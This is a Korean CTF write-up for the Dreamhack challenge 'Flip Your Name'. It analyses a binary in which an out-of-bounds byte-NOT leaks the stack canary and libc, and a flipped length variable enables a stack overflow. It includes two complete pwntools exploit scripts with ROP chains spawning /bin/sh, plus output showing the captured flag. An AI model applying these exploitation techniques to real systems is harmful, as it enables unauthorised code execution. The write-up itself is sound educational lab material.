콘텐츠로 건너뛰기

Flip Your Name

Description

Flip your name


checksec

seo@seo:~/Desktop/flip_your_name$ checksec ./flipyourname
[*] '/home/seo/Desktop/flip_your_name/flipyourname'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

모든 보호 기법이 적용되어있다.


Decompiled-src

main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  sub_11E9();
  return 0LL;
}

sub_11E9

unsigned __int64 sub_11E9()
{
  __int64 v1; // [rsp+8h] [rbp-68h] BYREF
  char s[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+68h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    memset(s, 0, 81uLL);
    printf("name? ");
    read(0, s, nbytes);
    printf("flip your name :) ");
    __isoc99_scanf("%ld", &v1);
    s[v1] = ~s[v1];
    printf("hello, %s\n", s);
    printf("want to quit? ");
    __isoc99_scanf("%2s", s);
  }
  while ( s[0] != 'y' );
  return v3 - __readfsqword(0x28u);
}
  1. s 변수의 81바이트만큼 0 값으로 초기화시킨다.
  2. 2. name?을 출력하여 전역변수 nbytes인 80크기만큼 s에 입력받는다.
  3. s의 v1 인덱스를 입력받아 s[v1]에는 NOT으로 연산된 바이트로 바꾼다.
    hex(~s[v] & 0xff), 만약 s[v]가 0이라면, hex(~0 & 0xff) -> 0xff
  4. hello, %\n을 통해 s에 담긴 문자열을 출력한다.
  5. 프로그램을 종료할건지 “want to quit?”을 출력하는데,
    여기서 “y”를 입력하면 루프문을 빠져나오지만, 그 외에 다른 문자를 입력하면 다시 1번 과정으로 돌아간다.

Solution

위 그림은 sub_11E9의 스택 구조를 나타낸 것,

name?에서 A를 80바이트만큼 채우고,
flip your name에서 86을 입력했을 때, not 수행하기 전의 스택 구조이다.

printf 함수는 \x00까지 문자열을 출력하지만,
s의 인덱스인 v1값을 적절히 조절하여 oob write가 가능하기 때문에
스택 카나리와 sub_11E9’s RET을 통해 flipyourname base주소, 그리고 main’s RET을 통해 libc base 주소를 구하는 것이 가능하다.


s[86] ~ s[88],
s[102] ~ s[103],
s[110] ~ s[111],
s[113] ~ s[119]를 not으로 연산된 값으로 덮혀야 leak을 할 수 있는데,
이때 항상 마지막에 s[80]에 not으로 연산된 값으로 덮어써야 된다.
while문 초기에 항상 s 변수를 81바이트만큼 0 값으로 초기화시킴으로써 s[80]이 0으로 덮히기 때문이다.

flipyourname base 주소와 char s[88] 주소를 구했다면,
그 거리를 계산해서, 전역변수 nbytes인 80을 not 연산된 값으로 덮어써야 된다.

그러면 80이었던 nbytes가 hex(~80 & 0xff) = 0xaf, 175로 덮어써져서
이제 read함수에서 80바이트만큼만 받던게 175바이트로 늘려져,
버퍼 오버플로우가 발생시킬 수 있고 따라서 main’s RET을 조작할 수 있게 된다.

페이로드를 구성한다면,


위는 문제서버의 libc 파일에 있는 “/bin/sh” 문자열 주소,
system 함수를 호출할때 50D8B 주소를 보면 sub_50900를 통해 호출한다는 것을 알 수 있고,
2a3e5 주소에 있는 pop rdi, retn 가젯을 통해 rop으로 system(“/bin/sh”)를 실행시켜 쉘을 획득할 수 있다.

만약에 libc나 도커 환경이 주어지지 않은 경우였다면,
rop을 통해 flipyourname에 있는 read got 주소를 printf 함수를 통해 노출시키고, 거기에 libc_base주소를 뺀 값을

https://libc.blukat.me/

위 사이트에서 검색해서 해당 오프셋에 맞는 libc를 구할 수도 있겠다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#p = process("./flipyourname")
p = remote("host3.dreamhack.games", 8286)
e = ELF('./flipyourname', checksec=False)

def sub_11E9_control(name, flip_index, quit):
    p.sendafter("name? ", name)
    #pause()
    p.sendlineafter("flip your name :) ", str(flip_index))
    output = p.recvuntil("\n")
    output = output.split(b"hello, ")[1]
    p.sendafter("quit? ", quit + b"\x00")

#pause()
sub_11E9_control(b"A"*80, 86, b"n")
sub_11E9_control(b"A"*80, 87, b"n")
sub_11E9_control(b"A"*80, 88, b"n")
sub_11E9_control(b"A"*80, 102, b"n")
sub_11E9_control(b"A"*80, 103, b"n")
sub_11E9_control(b"A"*80, 110, b"n")
sub_11E9_control(b"A"*80, 111, b"n")
sub_11E9_control(b"A"*80, 113, b"n")
sub_11E9_control(b"A"*80, 114, b"n")
sub_11E9_control(b"A"*80, 115, b"n")
sub_11E9_control(b"A"*80, 116, b"n")
sub_11E9_control(b"A"*80, 117, b"n")
sub_11E9_control(b"A"*80, 118, b"n")
sub_11E9_control(b"A"*80, 119, b"n")

name = b"A"*80
p.sendafter("name? ", name)
#pause()
p.sendlineafter("flip your name :) ", "80")
p.recv(96)
canary = u64(b"\x00" + p.recv(7))
print(f"canary: {hex(canary)}")
name_p = u64(p.recv(6) + b"\x00\x00") - 0x70
print(f"name -> {hex(name_p)}")
p.recv(2)
bin_base = p.recv(6)
bin_base = u64(bin_base + b"\x00\x00")
bin_base = bin_base - 0x1345
print(f"bin_base: {hex(bin_base)}")
bin_nbytes = bin_base + 0x4010
print(f"bin_nbytes: {hex(bin_nbytes)}")
p.recv(10)
libc_base = u64(p.recv(6) + b"\x00\x00") - 0x29d90
print(f"libc_base: {hex(libc_base)}")
p.sendlineafter("want to quit? ", b"n")

#change nbytes to 175
sub_11E9_control(b"A"*80, bin_nbytes - name_p, b"n")

pop_rdi_ret = libc_base + 0x2a3e5

payload = b"A"*80
payload += b"B"*8
payload += p64(canary)
payload += b"C"*8
payload += p64(pop_rdi_ret)
payload += p64(libc_base + 0x1D8698) #/bin/sh
payload += p64(libc_base + 0x50d8b) #system (internal)

sub_11E9_control(payload, 80, b"y")

p.interactive()

Result

seo@seo:~/Desktop/flip_your_name$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 8286: Done
canary: 0xd70a8e8eab041000
name -> 0x7ffdf9676780
bin_base: 0x5580ca615000
bin_nbytes: 0x5580ca619010
libc_base: 0x7f9e20e24000
[*] Switching to interactive mode
$ ls
flag
flipyourname
$ cat flag
DH{08d8ca3b115ef6adafed3c135675f7c809a14f8b2db506b7575c304530e1ebfb}
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 8286

Tried Local

로컬 환경: ubuntu 22.04.4 LTS / libc6 2.35-0ubuntu3.6

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./flipyourname")
#p = remote("host3.dreamhack.games", 12197)
e = ELF('./flipyourname', checksec=False)

def sub_11E9_control(name, flip_index, quit):
    p.sendafter("name? ", name)
    pause()
    p.sendlineafter("flip your name :) ", str(flip_index))
    output = p.recvuntil("\n")
    output = output.split(b"hello, ")[1]
    p.sendlineafter("quit? ", quit)

pause()
sub_11E9_control(b"A"*80, 86, "n")
sub_11E9_control(b"A"*80, 87, "n")
sub_11E9_control(b"A"*80, 88, "n")
sub_11E9_control(b"A"*80, 102, "n")
sub_11E9_control(b"A"*80, 103, "n")
sub_11E9_control(b"A"*80, 110, "n")
sub_11E9_control(b"A"*80, 111, "n")
sub_11E9_control(b"A"*80, 113, "n")
sub_11E9_control(b"A"*80, 114, "n")
sub_11E9_control(b"A"*80, 115, "n")
sub_11E9_control(b"A"*80, 116, "n")
sub_11E9_control(b"A"*80, 117, "n")
sub_11E9_control(b"A"*80, 118, "n")
sub_11E9_control(b"A"*80, 119, "n")

name = b"A"*80
p.sendafter("name? ", name)
#pause()
p.sendlineafter("flip your name :) ", "80")
p.recv(0x6f-8-7)
canary = u64(b"\x00" + p.recv(7))
print(f"canary: {hex(canary)}")
name_p = u64(p.recv(6) + b"\x00\x00") - 0x70
print(f"name -> {hex(name_p)}")
p.recv(2)
bin_base = p.recv(6)
bin_base = u64(bin_base + b"\x00\x00")
bin_base = bin_base - 0x1345
print(f"bin_base: {hex(bin_base)}")
bin_nbytes = bin_base + 0x4010
print(f"bin_nbytes: {hex(bin_nbytes)}")
p.recv(10)
libc_base = u64(p.recv(6) + b"\x00\x00") - 0x29d90
print(f"libc_base: {hex(libc_base)}")
p.sendlineafter("want to quit? ", "n")

name = b"A"*80
p.sendafter("name? ", name)
#pause()
p.sendlineafter("flip your name :) ", str(bin_nbytes - name_p))
output = p.recvuntil("\n")
output = output.split(b"hello, ")[1]
print(output)
p.sendlineafter("want to quit? ", "n")

one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_pop_r12_ret = libc_base + 0x11f2e7
execve = libc_base + 0xEB5A0

#bin_sh = b"/bin/sh\x00"
payload = b"A"*(80) 
payload += b"B"*8
payload += p64(canary)
payload += b"C"*8
#payload += b"D"*8 #RET
#payload += p64(libc_base + one_gadget[6])
#set rdi
payload += p64(pop_rdi_ret) 
payload += p64(libc_base + 0x1D8678) #arg1: /bin/sh
#set rsi
payload += p64(pop_rsi_ret)
payload += p64(0) #arg2: NULL
#set rdx
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0) #rdx #arg3: NULL
payload += p64(0) #r12
#call execve
payload += p64(execve)

p.sendafter("name? ", payload)
#pause()
p.sendlineafter("flip your name :) ", "80")
output = p.recvuntil("\n")
output = output.split(b"hello, ")[1]
print(output)
p.sendlineafter("want to quit? ", "y")

p.interactive()
태그:

답글 남기기